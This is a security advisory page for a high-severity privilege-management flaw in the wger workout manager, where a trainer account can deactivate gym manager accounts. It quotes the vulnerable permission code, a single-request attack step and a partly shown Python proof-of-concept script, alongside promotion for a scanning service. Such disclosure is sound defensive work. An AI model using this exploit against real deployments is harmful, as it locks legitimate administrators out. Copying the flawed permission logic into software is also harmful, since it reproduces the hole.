high · 7.1 No patch yet

wger: Trainer Privilege Escalation - Improper Privilege Management

CVE-2026-46434 · GHSA-x249-cx55-2h87 · PYSEC-2026-4316 · published 7 Oct 2026

How serious is it

  • Severity: high, CVSS score 7.1 out of 10.
  • No exploit prediction (EPSS) score yet.
  • Not on the CISA list of exploited vulnerabilities.
  • No public exploit in Exploit-DB.

Is your app affected by CVE-2026-46434?

Paste this prompt into Claude Code, Cursor or any AI coding tool: it runs a free Shippable scan of your project and fixes what it finds. Built with Lovable, Bolt or v0? Scan your live app. Or upload your package file.

Who is affected

  • wger (PyPI) <= 2.1

How to check

  1. Run pip show wger in your project to see the installed version, including copies pulled in by other packages.
  2. Or paste your lockfile into the checker: it lists every package with a known vulnerability, this one included.
  3. Or run npx shippable-dev scan localhost:3000 in your project folder. It reads your lockfile and flags this vulnerability along with every other known one.

How to fix

Copies a prompt for Claude Code, Cursor or Codex: it checks your lockfiles for this and upgrades it.
  1. No fixed version of wger yet. Replace or remove it, or apply the workaround in the advisory below.
  2. If a vulnerable version was live, check your logs and rotate the secrets that server could read.

The advisory

### Summary A user with only the `gym_trainer` permission can deactivate any account in the same gym, including `gym_manager` and `general_gym_manager` accounts. The `UserDeactivateView` grants access to anyone holding **any one** of `gym.manage_gym`, `gym.manage_gyms`, or `gym.gym_trainer` (OR logic via `WgerMultiplePermissionRequiredMixin`), and performs no privilege-hierarchy check to prevent a lower-privileged role from disabling a higher-privileged one. ### Details `UserDeactivateView` (file: `wger/core/views/user.py`, line 378) is configured with: ```python permission_required = ('gym.manage_gym', 'gym.manage_gyms', 'gym.gym_trainer') ``` `WgerMultiplePermissionRequiredMixin` (file: `wger/utils/generic_views.py`, line 48) treats this tuple as an OR check -- any single permission is sufficient: ```python class WgerMultiplePermissionRequiredMixin(PermissionRequiredMixin): def has_permission(self): for permission in self.get_permission_required(): if self.request.user.has_perm(permission): return True # <-- ANY one permission is enough return False ``` The `dispatch()` method only verifies same-gym membership: ```python def dispatch(self, request, *args, **kwargs): edit_user = get_object_or_404(User, pk=self.kwargs['pk']) if ( request.user.has_perm('gym.manage_gym') or request.user.has_perm('gym.gym_trainer') ) and edit_user.userprofile.gym_id != request.user.userprofile.gym_id: return HttpResponseForbidden() # NO check: is the target user more privileged than the requester? return super().dispatch(request, *args, **kwargs) ``` There is **no check** preventing a trainer from targeting a manager. The same vulnerability exists in `UserActivateView` (line 415). An additional contributing factor: `get_permission_list()` in `wger/gym/helpers.py` (line 102) **always** includes `'trainer'` in the assignable roles, meaning any gym manager can create trainer accounts -- which can then deactivate the manager who created them. ### PoC #### Prerequisites - A gym with at least two users: one with `gym_manager` role (victim) and one with `gym_trainer` role (attacker) - Both users belong to the same gym #### Attack Steps ``` # As the trainer, simply visit: GET /en/user/<manager_user_id>/deactivate ``` The manager's account is immediately set to `is_active = False`. The manager can no longer log in. #### Proof of Concept Script ```python #!/usr/bin/env python3 """ PoC: Trainer -> Manager Privilege Escalation (Account Deactivation) Target: wger Workout Manager Severity: HIGH - CVSS 6.5 CWE-269: Improper Privilege Management Usage: python3 poc.py http://localhost:8000 """ import requests import sys import re if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <BASE_URL>") print(f"Example: {sys.argv[0]} http://localhost:8000") sys.exit(1) BASE = sys.argv[1].rstrip("/") API = f"{BASE}/api/v2" MANAGER_USER = "gym_manager_poc" MANAGER_PASS = "Manager!Poc!2025" TRAINER_USER = "evil_trainer_poc" TRAINER_PASS = "Trainer!Poc!2025" BANNER = """ ===================================================================== PoC: Trainer -> Manager Privilege Escalation Severity: HIGH CWE-269: Improper Privilege Management ===================================================================== """ print(BANNER) # ---- Helper ---- def api_login(username, password): r = requests.post(f"{API}/login/", json={ "username": username, "password": password }) if r.status_code == 200: return r.json().get("token") return None def api_headers(token): return {"Authorization": f"Token {token}", "Content-Type": "application/json"} # ---- Setup via Django ORM (must run inside container) ---- import os, django os.environ['DJANGO_SETTINGS_MODULE'] = 'settings.main' sys.path.insert(0, '/home/wger/src') django.setup() from django.contrib.auth.models import User, Group from wger.gym.models import Gym # Ensure permission groups exist for name in ['gym_member', 'gym_trainer', 'gym_manager', 'general_gym_manager']: Group.objects.get_or_create(name=name) # Create gym gym, _ = Gym.objects.get_or_create(name="PoC Test Gym") print(f"[*] Gym: {gym.name} (id={gym.id})") # Create manager (the VICTIM) manager, created = User.objects.get_or_create( username=MANAGER_USER, defaults={"is_active": True} ) if created: manager.set_password(MANAGER_PASS) manager.save() manager.userprofile.gym = gym manager.userprofile.save() manager.groups.clear() manager.groups.add(Group.objects.get(name='gym_manager')) manager.is_active = True manager.save() print(f"[*] Manager (victim): {manager.username} (id={manager.id})") print(f" Groups: {[g.name for g in manager.groups.all()]}") print(f" is_active: {manager.is_active}") # Create trainer (the ATTACKER) trainer, created = User.objects.get_or_create( username=TRAINER_USER, defaults={"is_active": True} ) if created: trainer.set_password(TRAINER_PASS) trainer.save() trainer.userprofile.gym = gym trainer.userprofile.save() trainer.groups.clear() trainer.groups.add(Group.objects.get(name='gym_trainer')) print(f"[*] Trainer (attacker): {trainer.username} (id={trainer.id})") print(f" Groups: {[g.name for g in trainer.groups.all()]}") # ---- 1. Verify manager is active BEFORE attack ---- manager.refresh_from_db() print(f"\n[*] Manager is_active BEFORE attack: {manager.is_active}") assert manager.is_active, "Manager should be active before test" # ---- 2. ATTACK: Trainer deactivates manager ---- print(f"\n{'='*65}") print(f" ATTACK: Trainer deactivating gym manager account") print(f"{'='*65}") from django.test import Client c = Client() c.force_login(trainer) resp = c.get(f"/en/user/{manager.id}/deactivate", follow=True) print(f"\n GET /en/user/{manager.id}/deactivate") print(f" (Logged in as: {TRAINER_USER} - gym_trainer only)") print(f" Response: HTTP {resp.status_code}") # ---- 3. VERIFY -…

Check your whole app

Dependencies are only half of it. Free and read-only: before you push, run npx shippable-dev scan localhost:3000 in your project folder, no account needed. For your live app, you prove it's yours with a one-line tag first.

References

Merged from GitHub Advisory Database, OSV. Last updated 27 Oct 2026. All vulnerabilities · RSS · JSON